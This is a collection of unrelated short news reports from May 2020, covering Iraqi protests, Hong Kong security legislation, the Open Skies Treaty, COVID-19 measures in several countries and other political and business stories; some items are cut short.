The protests that erupted last year in October resulted in Adil Abdul Mahdis resignation and withdrawal of the last two prime ministers. After the approval of Mustafa al-Kadhimis government, the new prime minister announced plans to tackle corruption and address the protesters' demands.

Baghdad, Wasit, Dhi Qar, Al-Muthanna, Babel, Al-Qadisiyyah and Karbala provinces have been rocked by protests since last week. There have been several clashes between the protesters and the security forces. On May. 18, four activists were arrested in Diwaniya, the capital of Al-Qadisiyyah. Security forces also attacked protesters at the Ahdab oil field in Wasit province, burning their tents and damaging their vehicles. On May. 19, security forces fired live ammunition at protesters in Diwaniya, killing at leat one and injuring many others.

Protesters still complain about activists and paramedics being abducted. Prominent activist Haidar al-Lami was abducted on May. 18 when he was returning to Tahrir Square in Baghdad. Though those arrested and abducted were released by direct order from the prime minister, the protesters have not only reduced their activities but have stepped up the protests and raised their demands.

As summer approaches, the protests are expanding in the southern provinces over a lack of electricity and clean water. Hundreds of protesters gathered May. 16 in front of the governor's office in Basra, which has suffered salinity problems for last few years.

Although Kahdimi has mapped out an ambitious reform program and has reached out directly to the protesters, some have adopted a wait-and-see attitude, skeptical of any action by the ruling elite.

Protest coordinators have given the new government a month to prosecute those behind the killing and wounding of thousands of protesters. Baghdad protest coordinator Zulfiqar Hussain told Al-Monitor, "The demonstrations are continuing and there will be a new wave of them after the upcoming Eid al-Fitr holiday. The first demand will be the trial of Abdul-Mahdi along with early elections, a fair electoral law, the formation of a fair election commission and the prosecution of corrupt politicians."

Kadimi has taken a series of measures in response to the protesters' demands designed to give him time to implement his reform plans.

He ordered the detained protesters released in line with the Iraqi Constitution, which ensures the right to protest. Kadhimi also vowed to hold those who shed Iraqi blood accountable in reference to the protesters killed during the demonstrations, and to compensate their losses.

By the order of the prime minister, security forces raided the headquarters of the Iran-backed militia Thaar Allah in Basra after some demonstrators were shot from the office.

Last week, assassinated Iranian commander Qasem Soleimanis portrait was removed from its hanging place near Baghdad's international airport. Protesters were chanting against Soleimani, accusing him of being behind the militia attacks against the protesters last year. Soleimani was killed in a drone attack by the United States early this year.

Upon taking office, Kadhimi promoted Lt.-Gen. Abdul Wahab al-Saadi to head counter-terrorism operations who is a popular and admired figure among the Iraqi public for his work in defeating the Islamic State. Saadi was demoted without cause last year by the previous government to heavy criticism from the public. Kadhimi's promotion of Saadi is seen as an effort to please the demonstrations.

The new government has sent out representatives to speak to the protesters. Hisham Daoud, who was Kadimi's candidate for culture minister but was rejected by the parliament, was sent to Kut, the capital of Wasit province.

However, none of these efforts bore any fruit in calming the streets. Kadhimis appointment not only failed to send the protesters home but increased their activities and demands.

Concern is growing among the protesters that Kadhimis measures are just symbolic gestures to improve the government's image and are doing too little to address their demands.

Al-Monitor spoke to Ahmed Hassan, a civil activist, journalist and member of the protest coordination committee.

The protesters wish to see certain militias and groups repeatedly attacking protesters to be prosecuted, an investigation of the corrupt politicians, for the parliament to be pushed to legislate reforms on the electoral system and the appointment of an impartial electoral commission committee, Hassan said, adding, The protesters are not against Kadimis government, but they want a real and complete response to their demands.

Although the raid on Thaar Allah's headquarters in Basra was received positively by the protesters, other militias are still making the streets unsafe. Hassan emphasized that Kadimi must take stronger action against them.

Kadimi visited leaders of the Popular Mobilization Units last week to build a relationship with them and further his agenda. He is in a difficult situation, as he must satisfy both the protesters and the PMU and gain their trust.

Kadhimi ordered the formation of a youth council of protest leaders to keep regular contact with. However, Hassan believes the council has yet to be formed and feels the move could just be for show.

Hassan praised Kadimis decision to reach out to the protesters via representatives and considers Daoud the perfect candidate to speak with them. He suggested, however, Kadimi must be honest and straightforward on what he is able to achieve and avoid making empty promises that he is not able to deliver, as was done by his predecessors. He pointed out, The protesters are aware of Kadimis limited power.

However, some of the protesters' recent demands seem unrealistic. For example, the protesters in the southern provinces have been asking for the removal of their governors, but only the provincial councils hold that authority.

Kadimi wrote about the challenges he is facing in a local Iraqi newspaper in an effort to communicate directly with the protesters, but the streets continue to roil.

Hassan pointed out, There are groups of protesters exploited by Kadimis rival political parties and militias who are trying to block Kadhimis agenda. This groups are well known and avoided by the general public, and most of the property vandalism has been committed by them. He pointed to Harakat Bishayir al-Khayr in particular, which is close to former Prime Minister Nouri al-Maliki. Maliki was against Kadimis appointment and his State of Law Coalition voted against him.

The above show that the protests could remain a serious challenge for Kadimi and an obstacle his reform plans. Change often takes time. Kadhimi needs time to enact reforms, and the protesters feel that time is not on their side.


WASHINGTON (dpa-AFX) - Social media giant Facebook will eventually have at least half of its employees working remotely from home on a permanent basis by the end of 2030, Facebook CEO Mark Zuckerberg said.



This will be applicable to existing employees who opt to work from home and have demonstrated good performance and are capable of working remotely.



Zuckerberg said the transition will take place slowly with Facebook expecting only about 25 percent of its existing workforce of near 50,000 to return to their desks by the end of 2020. Facebook is looking to begin to open most of its offices on Monday, July 6.



Reports quoting Zuckerberg said employees choosing to relocate to their homes could see a cut in their salaries as salaries are based on cost of living in each location. In such cases, the employees will have to inform Facebook where they will be living so as to adjust salaries, which is a requisite for tax and accounting purposes.



Facebook CEO also said they expect to see a dramatic increase its remote hiring over time. However, people who are hired for entry level positions may not be initially eligible for this. Facebook will initially focus on focusing on hiring for advanced engineering positions.



The option for remote working will see employees electing to move base to suburb locations. This will enable Facebook to create new hubs in places where they have less or no presence.



Zuckerberg's announcement comes less than two weeks after Twitter and Square CEO Jack Dorsey also said that employees at both of his companies could work remotely forever.



Facebook was among the first tech companies to ask its employees to work from home as the coronavirus outbreak began to spread. The company's employees have been working from home from March.



The Menlo Park, California-based company had said in mid-April that it would require the vast majority of its employees to work from home through at least the end of May.



Revenues of Facebook, the world's most popular social networking site, continue to rise every quarter as companies and other firms keep spending heavily to advertise on the social network. However, Facebook had previously warned that it might not be able to sustain the growth at the same rate in the future.



Copyright RTT News/dpa-AFX

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US top diplomat Pompeo calls Chinas proposed legislation disastrous, says it could affect how US treats Hong Kong.

US Secretary of State Mike Pompeo on Friday rebuked China for its proposed national security legislation on Hong Kong, calling it arbitrary and disastrous, and saying it could affect the favourable US treatment of the semi-autonomous territory.

The United States condemns the  proposal to unilaterally and arbitrarily impose national security legislation on Hong Kong, Pompeo said in a statement.

The United States strongly urges Beijing to reconsider its disastrous proposal, abide by its international obligations, and respect Hong Kongs high degree of autonomy, democratic institutions, and civil liberties, which are key to preserving its special status under US law, he said. The decision to bypass Hong Kongs well-established legislative processes and ignore the will of the people of Hong Kong would be a death knell for the high degree of autonomy Beijing promised.

The proposed bill, submitted on Fridays opening day of Chinas national legislative session, would forbid secessionist and subversive activity, as well as foreign interference and terrorism. It comes after months of pro-democracy demonstrations last year that at times descended into violence.

Wang Chen, vice chairman of the National Peoples Congress, said the protests and violence in Hong Kong had challenged the one country, two systems principle and the aim of the legislation was to stop any behaviour that posed potential security threats.

Hong Kongs legal system and enforcement must be established and improved at the state level, he said.

Chinas foreign ministry said: The Chinese government is determined in safeguarding national sovereignty, security and development interests, following through the policy of one country, two systems, and opposing any external interference in Hong Kong affairs.

Tanya Chan, a pro-democracy member of member of Hong Kongs Legislative Council, countered that the proposal violates the Basic Law. It is a complete dishonour of promises made under the Sino British Joint Declaration, as well as all the promises made by the Chinese government to us and the world, she said.

Impact assessment of status of territory

Fridays statement from Pompeo, the top US diplomat, went further than the State Departments warning to China a day earlier and showed how rapidly the world has reacted to news that Beijing is set to impose new national security legislation on Hong Kong, despite last years pro-democracy protests in the territory.

The Hong Kong Human Rights and Democracy Act approved by US President Donald Trump last year requires the State Department to certify at least annually that Hong Kong retains enough autonomy to justify favourable US trading terms that have helped it maintain its position as a world financial centre.

Any decision impinging on Hong Kongs autonomy and freedoms as guaranteed under the Sino British Joint Declaration and the Basic Law would inevitably impact our assessment of One Country, Two Systems and the status of the territory, Pompeo said.

Responding to previous statements by the US, China has accused Pompeo of blackmailing the Hong Kong government with the Hong Kong Human Rights and Democracy Act and interferring in Chinas internal affairs.

Pompeo said on Wednesday the recent treatment of pro-democracy activists in Hong Kong makes it harder to assess whether the territory remains highly autonomous from China, a requirement for special treatment the city gets under US law.

A spokesman for the Chinese foreign ministrys office of the commissioner to Hong Kong said in a statement Pompeos actions cannot scare the Chinese people and that Beijing will safeguard its sovereignty, security and development interests.
Washington

President Donald Trump said Thursday that Russian violations make it untenable for the U.S. to stay in a treaty that permits 30-plus nations to conduct observation flights over each other's territory, but he hinted it's possible the U.S. will reconsider the decision to withdraw.

Trump's announcement comes as the U.S. begins new nuclear arms control talks with the Kremlin aimed at replacing an expiring weapons treaty with a modern and potentially three-way accord that brings China into the fold. Senior administration officials say Trump's willingness to leave the Open Skies Treaty is evidence of how prominently arms control verification and compliance will feature in the new talks.

The Open Skies Treaty that governs the unarmed overflights was initially set up to promote trust and avert conflict between the U.S. and Russia. The Trump administration informed other members of the treaty that the U.S. plans to pull out in six months  which is after the presidential election  because Russia is violating the pact.

The White House also says that imagery collected during the flights can be obtained quickly at less cost from U.S. or commercial satellites.

"Russia didn't adhere to the treaty. So until they adhere, we will pull out, but there's a very good chance we'll make a new agreement or do something to put that agreement back together," Trump told reporters at the White House before leaving for Michigan.

"So I think what's going to happen is we're going to pull out and they (the Russians) are going to come back and want to make a deal," Trump said. He added: "I think something very positive will work."

The U.S. announcement that it plans to leave the treaty is expected to upset some members of Congress and European allies, which benefit from the imagery collected by Open Skies flights conducted by the U.S.

"Ending such agreements without anything to replace them could result in destabilizing activities such as a dangerous new arms race leading to possible miscalculations," said U.N. spokesman Stephane Dujarric.

In Moscow, Russian Deputy Foreign Minister Alexander Grushko criticized the U.S. decision.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

"Our position is absolutely clear and is invariable: The withdrawal of the U.S. from this treaty will come as yet another blow to the system of military security in Europe, which is already weakened by the previous moves by the administration," Grushko told state news agency Tass.

Trump's national security adviser Robert O'Brien said the president has made clear that the United States will not remain a party to international agreements being violated by the other parties and that are no longer in America's interests. He noted that Russian violations are also what prompted Trump last year to pull out of a 1987 nuclear arms treaty with Russia.

That treaty, signed by President Ronald Reagan and Soviet leader Mikhail Gorbachev, banned production, testing and deployment of intermediate-range land-based cruise and ballistic missiles with a range of 310 to 3,410 miles.
Press Release

May 22, 2020 Bong Go commends honest Filipinos who returned COVID-19 emergency cash assistance; asks agencies to account for every peso spent for COVID-19 aid Despite the hardship affecting practically everyone because of the coronavirus disease (COVID-19) pandemic, there are still individuals who were honest enough when they chose to return cash assistance received due to duplication. Senator Christopher Lawrence "Bong" Go commended their honesty after reports of beneficiaries who opted to decline or return doubled emergency financial assistances in favor of those who have not received assistance during the crisis. Recently, two individuals from Las Pinas City returned their cash aid after learning that their employer had already filed for financial assistance through the Social Security System. Bernie Rejano Donato and Carlos Simbillo, aircon installer and aircon technician, respectively, returned their P8,000-cash aid each to the City Social Welfare and Development, which also thanked them for their honest gesture. "Natutuwa po ako sa mga balita na may mga kababayan tayong tapat lalo na sa ganitong panahon. Itong nakaraan lang, nabalitaan ko yung dalawang manggagawa sa Las Pinas na sinauli ang (Social Amelioration Program) assistance nila dahil may benefits na sila sa SSS," Go said. "Malaking bagay po ang pagiging tapat nila. Dahil doon, ang pera na ibinalik nila ay mapupunta sa iba pang nangangailangan ng tulong," Go added. Since the outbreak of the disease in the country, the DSWD has identified eighteen million low-income families to receive financial assistance through the SAP. The DSWD has since then partnered with local government units to distribute the cash aid to the intended qualified beneficiaries across the country. As of this writing, the DSWD said that it has distributed the financial grant to 16.1 million beneficiaries. The total amount disbursed so far is P90.5 billion. Throughout the distribution process, there have also been reports of honest beneficiaries who received and returned the cash aid due to duplication of assistance from other programs of government. Aside from DSWD's assistance, the Department of Labor and Employment has given P3.247 billion pesos worth of financial aid through its COVID-19 Adjustment Measurement Program to workers in the formal sector who lost their jobs. Furthermore, the Social Security System has given a total of P20.4 billion cash grants to more than two million employee-beneficiaries under the Small Business Wage Subsidy Program. These programs were created to assist identified beneficiaries from specified sectors who have been adversely affected by the pandemic - from the poorest of the poor, vulnerable groups, displaced workers, and employees of micro, small and medium enterprises. However, in the distribution process, there were some duplications reported which led to some grantees receiving duplicate cash aid from two different programs. This is currently being addressed by the concerned agencies. Senator Go took the opportunity to urge Filipinos to follow the example of these honest Filipinos as a way of demonstrating integrity and bayanihan during this difficult time, adding that if individuals receive duplicate COVID-19 emergency cash grants, they should report and return them to their respective LGUs. "Nananawagan po ako sa mga kapwa kong Pilipino na sundan natin ang mabuting ehemplo ng ating mga tapat na kababayan. Ito ang bayanihan na kailangan natin sa panahon ngayon," Go said. "For every honest Filipino, another Filipino family which needs help is saved. Kaya kung nakatanggap po kayo ng dobleng ayuda, pakiusap ko lang po na ibalik niyo. Honesty will go a long way. The more we help each other, the faster we will overcome this crisis caused by COVID-19," Go added. He also urged agencies to account for every peso distributed and spent, adding that utmost transparency is important especially now that the government is prioritizing the distribution of various forms of assistances to affected Filipinos. "Sa panahon ngayon, tanging konsensya talaga ang gabay ng lahat para walang masayang sa kaban ng bayan. Gawin po natin ang tama at siguraduhing matulungan lahat ng nangangailangan. In this time of crisis, every peso must be accounted for," Go said. During the May 20 hearing of the Senate acting as the Committee of the Whole, Go again asked the concerned agencies which, in turn, assured the Senator that they have existing data sharing agreement for the list of beneficiaries to ensure non-duplication of provision of financial aid. The Senator urged them to be more transparent and accountable to the public by showing lists of beneficiaries of the said various programs.
Sam Monaghan, chief executive of Methodist Homes (MHA), has called for residents and staff to be tested for coronavirus every week

Care home providers are calling for residents and staff to be tested for coronavirus every week after research suggested asymptomatic patients were continuing to spread the disease.

Sam Monaghan, chief executive of Methodist Homes (MHA), said the crisis in the sector would continue to burn because staff are unknowingly bringing the virus into care homes.

MHA has had at least one member of staff test positive in 20 out of its 28 homes, according to results from a Government pilot of whole-home testing,

Mr Monaghan told the BBC Radio 4 Today programme: 'If you have got people walking around the home, interacting with others, then you are going to have that real risk of continuing to bring the infection in.

'And with the relaxation of some of the lockdown measures out in the community then there could be the potential for some of our staff to then be more susceptible to picking up the virus and bringing it into our homes.

'What we're saying is either [test] once a week or once a fortnight. Some of the research that seems to have been done would suggest that weekly would be the most effective way.'

Mail Force charity, set up by Daily Mail and General Trust plc, delivers PPE to Presentation Sisters Care Home in Matlock, Derbyshire

At least a quarter of the UK's coronavirus victims have been care homes residents, statistics released this week by the Office for National Statistics revealed amid a growing scandal over the number of elderly people dying from the disease.

Between March 2 and May 1 there were 12,526 deaths in care homes where Covid-19 was mentioned on the death certificate, out of a total of 44,000 victims.

More than 340 care homes have announced outbreaks of COVID-19 in the past week, with four out of every 10 in the country saying they have had cases at some point.

The Government is under growing pressure to do more to keep the most vulnerable in society safe. Health Secretary Matt Hancock has pledged to test every care home resident and staff member in England for coronavirus by 'early June'.

FURY AS CABINET MINISTER ADMITS GOVERNMENT 'CHOSE' NHS OVER CARE HOMES Justice Secretary Robert Buckland sparked fury on Wednesday by admitting that ministers 'chose' to protect the NHS over care homes because there was not enough coronavirus testing capacity. Mr Buckland gave the clearest statement yet that a decision was made to prioritise the health service when the outbreak was at its most ferocious. The government has been heavily criticised for sending patients back to homes from hospitals without tests, and not putting routine screening in place for staff and residents. Mr Buckland fuelled the row by conceding the government had to make a 'choice' about where to deploy testing capacity - which was languishing at a few thousand a day in early March, although it has now been ramped up to over 100,000. 'I think we needed to make a choice about testing and we did decide to focus upon the NHS,' he told Sky News. 'The issue with care homes is that we've got many thousands of different providers, different settings, there have been lots of examples of care homes that have mercifully stayed infection free, but sadly far too many cases of infection and then death.' Advertisement

Mr Monaghan added: 'Just two weeks ago we had a home where there had been no infections throughout the whole of the pandemic.

'We had a case develop in one of our residents, they started to show symptoms, they were tested and found to be positive.

'None of the residents had been in or out of hospital, there was no other way that it could have come in and yet none of the staff were presenting any symptoms and at that point it was before the whole home-testing procedure was in.

'There was a real reluctance to test staff, they were going to test the residents but they were not going to test the staff.

'But that was the most highly likely way the infection could have come into the home.'

Weekly coronavirus-related deaths in care homes also fell to 1,666 in the week ending May 8.

This is the second weekly fall in a row, down from 2,423 deaths in the previous seven days - a decrease of 31 per cent.

But the proportion of coronavirus deaths taking place in care homes rose, with care home deaths accounting for 42.4 per cent of all the COVID-19 deaths, up from 40 per cent in the week from April 25 to May 1.

Officials have come under fire for not offering enough support to care home staff and residents at the beginning of the outbreak.

Bosses say homes were not given enough personal protective equipment, were given hospital patients who hadn't been tested for the virus.

It emerged this week that untested temporary staff may have been inadvertently spreading the illness in the sector's scramble to fill vacancies left by workers in self-isolation.
Rep. Yoon Sang-hyun, right, an independent lawmaker who heads the National Assembly's Foreign Affairs and Unification Committee, shakes hands with Unification Minister Kim Yeon-chul during their meeting at the Assembly in Seoul, Friday. / Yonhap



By Kang Seung-woo



In the wake of government officials' comments that South Korea's own sanctions on North Korea have virtually lost their effects, questions are arising over whether the South would lift the measures officially.



However, even though the "May 24 measures" remain only symbolic following tougher sanctions by the global community, it may not be easy for the Moon Jae-in administration to make such a drastic move, as their lifting could cause a strong political backlash from conservatives domestically and the international community is still firmly retaining sanctions on Pyongyang.



The economic sanctions, imposed by the Lee Myung-bak administration in 2010 in retaliation to the North's torpedoing of the South's naval ship, the Cheonan, ban inter-Korean economic exchanges and cooperation.



"The May 24 measures pose no longer a barrier to inter-Korean exchanges and cooperation," South Korean Unification Ministry spokesman Yoh Sang-key said during a press briefing, Wednesday.



He also said previous governments had taken a flexible approach and allowed exceptions in implementation of the sanctions, adding that much of the sanctions have lost their purpose.



His remarks stand in stark contrast to Seoul's previous stance on the standalone sanctions, fanning speculation that the South Korean government is edging toward lifting the decade-old sanctions.



Last year on the occasion of their ninth anniversary, the unification ministry said that the lifting of the sanctions needs to be reviewed in light of inter-Korean relations and within the frame of the international community's sanctions against the Kim Jong-un regime. When the North sent its delegation to the PyeongChang Winter Olympics in February 2018, the South Korean government maintained the sanctions but granted an exemption for the occasion.



In October 2018, Foreign Minister Kang Kyung-wha brought up the issue by saying the government was reviewing whether to lift its sanctions, but amid growing criticism from the conservative opposition parties, then Unification Minister Cho Myoung-gyon said the following day that the government had no plans to lift them.



The South's change of stance on the sanctions is based on its judgment that the sanctions are merely a scrap of paper at this point given that inter-Korean ties have improved since Moon's inauguration in 2017.



However, the punitive measures are not expected to be lifted anytime soon, according to the ministry and experts.



"There are no plans to issue follow-up comments at this moment," Yoh said during Friday's briefing, adding that the government has never mentioned the possibility of scrapping the sanctions.



Yang Moo-jin, a professor at the University of North Korean Studies, also said he did not believe the government would announce the revocation of the sanctions.



"The Lee Myung-bak and Park Geun-hye administrations tried to get the North to make an official apology for the Cheonan sinking with the sanctions, but to no avail. In addition, they also allowed some exceptions in its implementation, meaning that they also questioned the sanctions' effect," he said.



"The Moon administration is now adopting a new strategic approach, aimed at addressing the matter through dialogue and cooperation without ruining the goal of the May 24 measures."



In addition, with the North still under international sanctions, it is a daunting task to independently lift the South's measures, as evidenced by a U.S. response to the ministry's comments.



"The United States supports inter-Korean cooperation and coordinates with our Republic of Korea ally to ensure inter-Korean cooperation proceeds in lockstep with progress on denuclearization," a State Department official told the Voice of America, Wednesday.


For more coverage, visit our complete coronavirus section here.

California Gov. Gavin Newsom provided an update on the state's reopening plan Friday and said 43 out of the state's 58 counties have met certain criteria to move into the second phase of Stage 2 and reopen other sectors of their economies such as restaurants with dine-in service and shopping malls with curbside pickup. (Find a list of those counties.)

Newsom also said the state will release guidelines on Monday for churches to reopen and requirements for casinos and card rooms are coming on June 8. Guidelines for summer camp will also be provided soon.

The governor offered clues to when even more modifications will be made to the stay-at-home order, saying he's just days away from announcing a plan to reopen barbershops and hair salons.

A reporter asked Newsom when California residents will be able to gather in small groups, and he offered a hint that this could be weeks away.

"Its a dynamic process," Newsom said. "All of it will begin to change. Yes, we expect that to change. This is not a permanent state."

He added, "This is not months and months of a permanent state. This is weeks and weeks. Every week well be making changes to that stay-at-home order."

California society and its economy is reopening on a four-stage plan that's based on science and data and promotes social distancing. The state is currently moving from Stage 1, with all residents except essential workers staying at home, into the first half of Stage 2, when businesses with a lower risk of spreading COVID-19 can reopen. These include retail with curbside pickup, outdoor museums, offices (when telework isn't possible), manufacturing and limited services such as car washes and pet grooming. The governor has given counties the flexibility to move at their own pace into Stage 2 and while some rural areas have moved quickly, others, such as those in the Bay Area, have moved more slowly.

The state is allowing some counties that meet certain COVID-19 benchmarks to move more quickly into the second half of Stage 2 and open additional sectors such as restaurants for dining-in service, shopping malls for curbside pickup and schools.

In the Bay Area, both Solano and Napa counties have received approval to move deeper into Stage 2. (Find a full list of counties that have received approval on the California Department of Public Health website.)

Newsom emphasized Friday that the collaboration between counties and the state has been remarkable and he commended local jurisdictions for their hard work in meeting the guidelines to qualify for regional variances.

"There are a few exceptions that tend to get highlighted disproportionately," he said of cases where counties haven't followed the state guidelines.

Gyms, hair salons and hotels fall into Stage 3, and Newsom has said modifications allowing for moves into this phase are coming soon. Large gatherings at concert venues and convention centers fall into Stage 4.

California has been under a mandatory stay-at-home order since March 19 and many counties in the Bay Area since March 16. But the virus has been disrupting the state since January, when people from all over the world were first sent to quarantine at California military bases.

In February, California had the first confirmed case in the country of someone who had not traveled internationally or been in contact with someone who had, an unofficial announcement that the outbreak had reached U.S. soil.

For most people, the virus causes mild or moderate symptoms, such as fever and cough that clear up in two to three weeks. For some, especially older adults and people with existing health problems, it can cause more severe illness, including pneumonia and death.

The Associated Press contributed to this story.

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The Supreme Court on Friday adjourned the hearing on the petition challenging the election of Prime Minister Narendra Modi from Varanasi parliamentary seat held in May last year. The matter will now be taken up after two weeks.

The petition has been filed by sacked Border Security Force (BSF) constable Tej Bahadur who could not contest from Varanasi since his nomination paper was rejected by the returning officer on May 1 last year. Bahadur challenged PM Modis election before the Allahabad High Court, but lost. HC dismissed the petition on December 6, 2019 holding that Bahadur had no locus to challenge the election as he was neither a candidate nor an elector.

This was the first hearing on Bahadurs appeal against the HC verdict in the Supreme Court. He alleged there were several technical flaws in the HC judgment dismissing his case.

A bench of Chief Justice SA Bobde, Justices AS Bopanna and Hrishikesh Roy were ready to hear arguments. But Bahadurs lawyers moved a letter for a four-week adjournment without specifying any reason. The Court refused to grant such time and instead posted the matter after two weeks. PM Modi was represented by senior advocates Harish Salve and Satya Pal Jain.

Bahadurs nomination was rejected as a clause contained in the Representation of Peoples Act prescribes a five-year ban on contesting against any person in the employment of the state who got dismissed on grounds of corruption or disloyalty to state. Bahadur claimed he was dismissed but on grounds other than corruption or disloyalty. In such cases, the candidate must attach a certificate of the Election Commission testifying this fact. Bahadur did not possess this certificate and hence his nomination got rejected.

Bahadur shot to fame in 2017, when he shot a video exposing the alleged poor quality of food supplied to BSF jawans in their camp. His act was seen as indiscipline and the BSF dismissed him in April 2017. In the 2019 Lok Sabha polls, the Samajwadi Party fielded him against PM Modi from Varanasi. Bahadur failed to qualify as a candidate after his nomination stood rejected. He was not even an elector of Varanasi. In his own petition, he admits to be an elector from Bhiwani, Mahendragarh parliamentary constituency in Haryana.
Anunt de selectare a participantilor si participantelor la cel de-al doilea curs de instruire din cadrul Programului educational pentru dezvoltarea competentelor lucratorilor de tineret
Oregon Officials: Stay Home for Holiday and Away from Coast; Camping Announcements

Published 05/21/2020 at 6:44 PM PDT

By Oregon Coast Beach Connection staff





(Oregon Coast)  Memorial Day Weekend is typically among the highest density days for visitors along the Oregon coast, but this time coastal officials as well as various government heads are saying stay out of the region this weekend. Stay close to home is the message, and this means keeping clear of other major attractions far from home such as the Columbia River Gorge.

Meanwhile, Oregon State Parks and Recreation Department (OPRD) has announced it will be allowing camping in limited state parks as of June 9.

Travel Oregon, Visit Tillamook Coast and Governor Kate Brown sent out duplicate messages Thursday asking everyone to lay low for the holiday. While much has opened up already along the Oregon coast, the upper half  from Yachats to Astoria  wont be starting up lodgings yet for a reason. All those areas, except for Astoria, open after the holiday because they dont want a flood of people. Most state parks along the Oregon coast have opened (except for those in Clatsop County and Tillamook County), and most areas on the southern coast have opened up lodgings as well already.

However, according to Visit Tillamook Coasts Nan Devlin:

Our coastline is beginning the process of gradually and safely reopening our communities and economies, she said. With the Memorial Day holiday approaching this weekend, we ask you to consider celebrating in your local neighborhood this year.

Early Thursday, Oregon Governor Kate Brown was joined by 26 mayors from across the state in urging all Oregonians, especially Portland metro area residents, to keep it local this Memorial Day weekend to prevent the spread of COVID-19.

This Memorial Day weekend, a backyard barbecue or a small family gathering is the best way to stay healthy as we build a safe and strong Oregon, Governor Brown said. If you want to get outdoors, find a place to hike or bike or paddle close to home. And, please, wear a face covering when you are around others.



Devlin noted that much is still closed around Pacific City, even though lodgings kick things off in a week. Bob Straub State Park, Sitka Sedge State Park, Webb County Park and Whalen Island County Park remain shut for the time being.





Other major state parks in that county and throughout Clatsop County remain closed as well, including Oceanside, Cape Meares, Cape Lookout (the headland and the beach access), Manhattan Beach, Nehalem Bay State Park, Arcadia Beach, Hug Point and Fort Stevens, among others.

Seaside and Cannon Beach have opened their beach accesses, but they too are asking the public to stay away for the weekend. On the south coast, places like Brookings, Gold Beach, Bandon, Coos Bay and Florence all have lodgings and beaches in full access, but they are also asking the public to stay home.

To see the current list of lodgings and beaches see What's Open on Oregon Coast and What Isn't.



When it comes to camping starting back up, OPRD will be allowing camping in some state parks as of June 9, although none have not been decided upon yet. That will be announced around the of May. Even so, facilities will not be fully up and running and all kinds of measures to assure social distancing will be in place. Oregon Coast Hotels in this area - Where to eat - Maps - Virtual Tours

Sampling of Lodgings Opening Soon

Sea Horse Oceanfront Lodging . Oceanfront rooms may start at special prices, depending on month. Vacation Rentals and Romance Suites. Fireplaces, and your pet is welcome.1301 NW 21st Street. Lincoln City, Oregon. 800-662-2101. 541-994-2101. www.SeaHorseMotel.com











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A BP refinery worker sacked for mocking the company's approach to bargaining over pay through a popular Hitler meme has had a decisive win after the company took the case all the way to the full bench of the Federal Court.

Scott Tracey, who worked at a BP oil refinery near Perth, was fired in January 2019 after he posted a video to an employee Facebook group using a popular meme format, where humorous subtitles are overlaid on footage of Hitler screaming in his bunker in the 2004 film Downfall.

A still from one of a vast number of Hitler Downfall parodies, with actor Bruno Ganz in the lead role, on the internet. Credit:YouTube

BP fired him on the basis he had "distributed material which is highly offensive and inappropriate" and defeated Mr Tracey's initial unfair dismissal claim when the Fair Work Commission found the video was "inappropriate and offensive" and likened his bosses to Nazis.

Mr Tracey won his job back on appeal, with the full bench of the commission finding that the video was clearly satirical and no reasonable person would see it as making a point about BP executives acting like Nazis.
Commuters in SVG could, according to the PM, be looking at a legal adjustment in the licensed number of passengers a minibus is allowed to carry.

There has been relaxation in the COVID-19 related regulation with respect to passenger capacity of minibuses here.





Speaking on radio last Wednesday, Prime Minister Dr. Ralph Gonsalves said that the maximum number of passengers allowed in a minibus will now be 12 as against the 9 that was initially regulated.





This adjustment is intended to respond to the reopening of school for senior primary and secondary school students, and applies to those buses licensed to carry a maximum of 18 passengers.





The new regulation will be in effect for one month, following which it will come under review.





This recent adjustment in the regulations governing the operations of minibuses came as a result of a meeting between the Prime Minister and the Vincentian Transportation Association (VINTAS), held last Tuesday.





But perhaps the most telling announcement in relation to minibus operations here was the Prime Minister alluding to not going back to the 18-passenger capacity at all.





In part, he said, "we dont go back to 18 seats, we go to 14 seats so that persons can function in relative comfort.





This off course is not yet written into law and will be expected to be discussed with VINTAS before a final decision is made.





Meanwhile, the Traffic Department has advised that the number of passengers for the 25- and 29-seater buses have been increased to 18 and 21, respectively.




Pa. Gov. Tom Wolf has amended an order that bans foreclosures and evictions until July 10.

The updated text now makes clear that only proceedings related to financial harm caused by the coronavirus pandemic are halted, while others can continue as normal.

I am protecting housing for Pennsylvanians who may be facing economic challenges due to the COVID-19 pandemic, Wolf said in a statement.

My order will not affect proceedings for other issues, such as property damage or illegal activity. I encourage all Pennsylvanians to continue abiding by the terms of their lease or mortgage.

A news release provided the following additional information:

The executive order, signed by Gov. Wolf on May 7, 2020, suspends evictions and foreclosures until July 10, 2020. The Pennsylvania Supreme Court previously closed court eviction proceedings until May 11, 2020, due to the COVID-19 pandemic. During the suspensions, residents are required to continue making rent or mortgage payments or they may be subjected to past due balances and fees.

More coronavirus coverage:
Bujumbura, Burundi (PANA) - Burundi's National Council for the Defence of Democracy/Forces for the Defence of Democracy (CNDD-FDD) ruling party came out on top in the triple presidential, legislative and communal elections of 20 May, with scores close to 90%, wherever the first trends were published on Friday by branches of the Independent National Electoral Commission (CENI)
Ryan E. Greer, 38, of Knox, Indiana, was killed just before 3 a.m. when the 2019 Volvo tractor-trailer truck heading east drove onto the right shoulder, hitting the 2018 Dodge Ram truck Greer and another worker for Traffic Control Specialist, Inc., were using, according to a release from State Police Sgt. Glen Fifield.
Source: Xinhua| 2020-05-22 16:31:24|Editor: huaxia

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People exercise on the beach in Hawalli Governorate, Kuwait, May 21, 2020. The Kuwaiti government has imposed a full curfew in the country to curb the rapid rise in COVID-19 cases. People are allowed to walk or exercise outdoors from 4:30 p.m. to 6:30 p.m. in their residential areas without using their cars. (Photo by Asad/Xinhua)
WORKERS in the midlands were left in shock by the sudden end to the peat industry, the Just Transition Commissioner has said.

Kieran Mulvey was appointed commissioner late last year to see how communities in midland counties could be helped to find new employment after the loss of their livelihoods as the country turns away from fossil fuels.

In his first progress report to the Government, Mr Mulvey said: In my engagement with workers in both the Bord Na Mona sites and the ESB plants, the abiding impression is of a combined workforce, though well aware of the environmental and climate-related need to bring to an end the use of fossil fuels and peat for energy purposes, in shock from the immediacy of the closure decision and the real and current impact upon their livelihoods.

This is compounded by a perception that no account was taken of the long-term impact on the workers, their families and their communities and the reasonable and legitimate expectation they had that the use of peat as a fuel in these plants would be phased out by 2030."

He said what was expected to be a ten-year move away from peat had been reduced to 12 months or less.

Management and unions primarily in Bord Na Mona have now less than twelve months to adjust rapidly to this new economic and social reality and to scale, map and insofar as possible present a clear pathway for continued employment, re-skilling, redeployment, retirement and/or voluntary redundancy.

